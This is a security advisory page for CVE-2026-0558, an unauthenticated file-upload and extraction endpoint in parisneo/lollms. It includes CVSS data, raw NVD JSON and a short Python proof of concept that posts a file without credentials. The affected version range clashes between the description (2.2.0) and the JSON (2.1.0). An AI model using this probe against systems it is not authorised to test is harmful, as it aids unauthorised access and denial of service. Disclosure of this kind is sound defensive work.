Security Vulnerability Report
中文
CVE-2026-0558 CVSS 9.8 CRITICAL

CVE-2026-0558

Published: 2026-03-29 18:16:13
Last Modified: 2026-03-31 19:45:54

Description

A vulnerability in parisneo/lollms, up to and including version 2.2.0, allows unauthenticated users to upload and process files through the `/api/files/extract-text` endpoint. This endpoint does not enforce authentication, unlike other file-related endpoints, and lacks the `Depends(get_current_active_user)` dependency. This issue can lead to denial of service (DoS) through resource exhaustion, information disclosure, and violation of the application's documented security policies.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:lollms:lollms:*:*:*:*:*:*:*:* - VULNERABLE
parisneo/lollms <= 2.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_poc(target_url): """ PoC for CVE-2026-0558: Unauthenticated file upload """ endpoint = f"{target_url}/api/files/extract-text" # Prepare a dummy file to upload files = {'file': ('test.txt', b'Test content for extraction')} try: # Send POST request without authentication headers response = requests.post(endpoint, files=files, timeout=10) if response.status_code == 200: print("[+] Vulnerability confirmed! File processed successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:9600" # Replace with actual target exploit_poc(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0558", "sourceIdentifier": "[email protected]", "published": "2026-03-29T18:16:13.250", "lastModified": "2026-03-31T19:45:54.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in parisneo/lollms, up to and including version 2.2.0, allows unauthenticated users to upload and process files through the `/api/files/extract-text` endpoint. This endpoint does not enforce authentication, unlike other file-related endpoints, and lacks the `Depends(get_current_active_user)` dependency. This issue can lead to denial of service (DoS) through resource exhaustion, information disclosure, and violation of the application's documented security policies."}, {"lang": "es", "value": "Una vulnerabilidad en parisneo/lollms, hasta la versión 2.2.0 inclusive, permite a usuarios no autenticados subir y procesar archivos a través del endpoint `/api/files/extract-text`. Este endpoint no aplica autenticación, a diferencia de otros endpoints relacionados con archivos, y carece de la dependencia `Depends(get_current_active_user)`. Este problema puede conducir a denegación de servicio (DoS) mediante el agotamiento de recursos, revelación de información y la violación de las políticas de seguridad documentadas de la aplicación."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lollms:lollms:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.1.0", "matchCriteriaId": "7118851E-5C3C-499B-BBB5-0327B7FD85AF"}]}]}], "references": [{"url": "https://github.com/parisneo/lollms/commit/a6625dc83786ff21d109b0d545ca61b770607ef3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://huntr.com/bounties/0a722001-89ce-4c91-b6a6-a55ee5ba2113", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}